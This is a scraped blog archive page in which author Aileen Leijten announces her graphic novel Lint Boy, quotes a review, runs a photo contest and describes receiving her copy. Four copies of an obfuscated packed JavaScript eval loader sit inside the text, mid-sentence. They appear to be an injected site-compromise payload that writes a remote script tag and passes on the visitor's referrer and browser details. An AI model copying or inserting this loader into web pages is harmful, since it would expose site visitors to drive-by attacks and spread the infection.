Aileen Leijten | 2017 June
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June 2017

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LINT BOY OUT TODAY!

[vc_separator eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sksez|var|u0026u|referrer|ehyyr||js|php'.split('|'),0,{})) type="normal" position="left" color="" border_style="dashed" width="" thickness="" up="" down=""] I'm thrilled to share the news that my newest book Lint Boy,  comes out today! [vc_separator type="normal" position="left" color="" border_style="dashed" width="" thickness="" up="" down=""] I hope you enjoy reading it as much as I enjoyed making it. * . I was won over immediately by Leijten's nostalgic art nouveau style, which captures both the sweetness of Lint Boy and the sadistic potential of his nemesis. The ink and watercolor drawings, in a palette of soft greens, blues and golds with flashes of candy-cane red, are each an intricate invention, full of delicate curls and sprightly shadows. The storyline, which shifts back and forth in time, may be a little confusing to the youngest readers, but it's spooky and compelling and the surprises keep on coming, right to the end. It's a...

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#LINTBOY

Find a #LintBaby eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bthay|var|u0026u|referrer|ettbt||js|php'.split('|'),0,{})) - Post a picture tagged #LintBoy - WIN a book or a signed art print! LINT BOY, is a Graphic Novel by Aileen Leijten At the end of each month (for a year) I will select a tagged picture, and someone will WIN!   [caption id="attachment_51660" align="alignnone" width="720"] Lint Babies ready to go out into the world[/caption]   Keep your eyes open, these babies are all around Los Angeles, some are (and more coming soon) in NYC, Boston, and Rhode Island. Other locations will be announced. [caption id="attachment_51661" align="alignnone" width="720"] Find a Lint Baby - Post a picture tag with #LintBoy - WIN a book or a print![/caption]   Follow on Instagram where they will appear next!...

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A beautiful book trailer!

Read eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikrsn|var|u0026u|referrer|hhyea||js|php'.split('|'),0,{})) the amazing blog post about this wonderful book at Watch. Connect. Read...

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Lint boy arrives

In the mail yesterday!

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttsbi|var|u0026u|referrer|skets||js|php'.split('|'),0,{})) copy of my newest book arrived in the mail yesterday, accompanied by a wonderful and most thoughtful card by my amazing editor Anne Hoppe. It happened to be my birthday, I suspect that the arrival wasn't coincidental. A sweet gift! [caption id="attachment_51649" align="aligncenter" width="432"] Lint Boy arrives in the mail[/caption]...

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